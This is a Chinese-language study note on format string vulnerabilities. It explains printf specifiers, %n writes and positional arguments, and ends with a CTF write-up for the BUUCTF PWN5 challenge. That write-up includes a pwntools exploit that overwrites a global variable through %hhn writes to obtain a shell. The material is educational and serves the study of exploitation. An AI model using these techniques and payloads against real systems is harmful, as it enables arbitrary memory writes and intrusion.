菜鸟记录格式化字符串的学习总结，方便复习。

格式化字符串漏洞

学习格式化字符串之前，先得了解什么是格式化字符串。

格式化字符串

printf ("The number is 10。")
printf("格式化字符串1，格式化字符串2",参数1，参数2...)

格式化允许我们部分控制显示文本的样式，我们可以通过代替特殊的格式字符来显示值或者数据，比如，要显示整形的变量"data"，就可以使用下面的格式化字符：

printf("The number is %d",data)

打印的时候，%d就被data的值所替代。当data=20时，调用后会打印出 The number is 20这句话。如果想用十六进制显示相同值可以写成：

printf("The hex number is %x",data)

这里的%d就表示以十进制打印的data的值，%x表示十六进制打印data的值。下面是一些常见的格式化字符串语法：

%d - 十进制 - 打印十进制整数
%s - 字符串 - 打印参数地址处的字符串
%x,%X- 十六进制 - 打印十六进制数
%o - 八进制 -打印八进制整形
%c - 字符 - 打印字符
%p - 指针 - 打印指针地址 即void *
%n - 到目前为止所写的字符数

当然，功能也不仅限于控制显示的数据类型，还能控制显示的宽度和队列。
%<正整数n>c 打印宽度为n的字符串（打印长度为n）
举例：

printf("%5c",65)  A的ascll码为65

调用后打印出A，宽度为5，因此A前面会填充4个空格，打印效果如下：

printf("%-10c%c",65,66);

打印字符串长度10，用空格填充，"-"使结果左对齐，在右边填空格，打印效果如下：

特别要注意的是%n这个格式化字符串，它的功能是将%n之前打印出来的字符个数（四字节）写入参数地址处（赋值给一个变量）。32位的程序，%n取的就是4字节指针，64位取的就是8字节指针。
%hn 写入两个字节
%hhn 写入一个字节
举例：

printf("%10c%n",65,0x41414141);

打印9个空格加上一个A，所以会往地址0x41414141处写入10（4字节）

printf("%1234c%hhn",65,0x41414141);

因为1234=0x4D2，所以会往地址0x41414141处写入0xD2（1字节）

漏洞成因和基本原理

触发该漏洞的函数很有限，主要就是printf还有sprintf，fprintf等c库中print家族的函数。
函数用法：
正确的printf用法：

#include <stdio.h>
int main()
{
  char str[100];
  scanf("%s",str);
  printf("%s",str);
  return 0;
}

写程序时要规定字符串的格式化说明符，规定参数的输出类型

错误的printf写法：

#include <stdio.h>
int main()
{
  char str[]="qwer";
  printf(str);
  return 0;
}

运行后结果没有什么问题。

但是如果将字符串的输入权交给用户就会有问题了。看下面的代码：

#include <stdio.h>

int main(void)
{
    char str[100];
    scanf("%s",str);
    printf(str);
    return 0;
}

假设我们的输入为:

AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

函数用法正确的程序的输出为：

错误用法的输出则为：

输出的结果是 内存中的数据地址。

参数不足的情况

关于这个情况，我们先来了解下，如果printf的参数不足，会发生什么？
会假设这些参数的存在，在对应的栈/寄存器上找到这些参数，并做相应处理。
举例：

printf("%p:%p:%p:%p\n");

打印结果如下：

32位程序，函数调用时参数在栈：格式化字符可控可以泄露栈上的数据
64位程序，函数调用使用寄存器＋栈：格式化字符可控可以泄露特定寄存器和栈上的值（前6个参数放在寄存器上，会先依次打印出寄存器上的值。）

具体原理：当printf在输出格式化字符串的时候，会维护一个内部指针，当printf逐步将格式化字符串的字符打印到屏幕，当遇到%的时候，printf会期望它后面跟着一个格式字符串，因此会递增内部字符串以抓取格式控制符的输入值。这就是问题所在，printf无法知道栈上是否放置了正确数量的变量供它操作，如果没有足够的变量可供操作，而指针按正常情况下递增，就会产生越界访问。甚至由于%n的问题，可导致任意地址读写。

所以尽管没有参数或者参数不足，上面的代码也会将 格式化字符串 后面的内存当做参数以16进制输出。这样就会造成内存泄露。

关于$符号(补充)

读取:

%<正整数n>$ <数据类型>，指定占位符对应的第n个参数，例如 %8$x 就是以 x 格式读第 8 个参数的值。

举例：

printf("0x%2$x : 0x%1$x",0xabc,0xdef);
当中的%2$x 对应第二个参数，%1$x对应第一个参数
打印结果：0xdef : 0xabc

写入:

%<数值>c%<正整数n>$ <类型>，%44c%5$hn 就是向第 5 个参数写入 44 这个数值。

漏洞的利用

在试图利用格式化字符串漏洞之前，你需要知道格式化字符串会在调用printf之前先压入堆栈中。所以当发现一个格式化字符串漏洞时，首先你需要找到格式化字符串距离当前位置的偏移。

只要我们在printf中填入足够的参数，例如，先输入AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x········来确定输入首地址的偏移(找到41414141就是AAAA)

读取内存

我们可以通过输入 “%偏移$格式输出” 直接输出偏移为x处的内容。
用法：

%9$s
输出偏移为9处的内容

修改内存

在格式化字符串中 有一个 特殊的格式化控制符 “%n”，它可以将已经输出的字节个数写入到 指定的 的地址中，配合$直接修改第几个参数来修改想要修改地址的值。
用法：

%修改数据c%偏移$n修改地址

案例分析

以buuctf上的 [第五空间2019 决赛]PWN5 为例。
题目链接：
https://buuoj.cn/challenges#[%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B42019%20%E5%86%B3%E8%B5%9B]PWN5

checksec 查看文件

用IDA查看

发现明显的格式化漏洞，因为这个dword_804c044从服务器读入，无法知道其内容，所以使用%n将其数据修改，随后passwd输入相同的数据即可得到shell。

计算偏移

可以看到偏移为10,之后只要修改dword_804c044的值，让输入和dword_804c044的值一样就可以了

IDA查看 dword_804c044的地址为0x804c044

exp如下：

from pwn import*

r=remote('node4.buuoj.cn',26588)

payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)+'%10$hhn%11$hhn%12$hhn%13$hhn'  #

r.sendline(payload)
r.sendline(str(0x10101010))
r.interactive()

p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047) 总共16个字节，所以16会被写到bss位置。

总结

格式化字符串，也是一种比较常见的漏洞类型， 具有任意地址读，任意地址写的特点。漏洞主要是没有规定参数的输出类型引起的。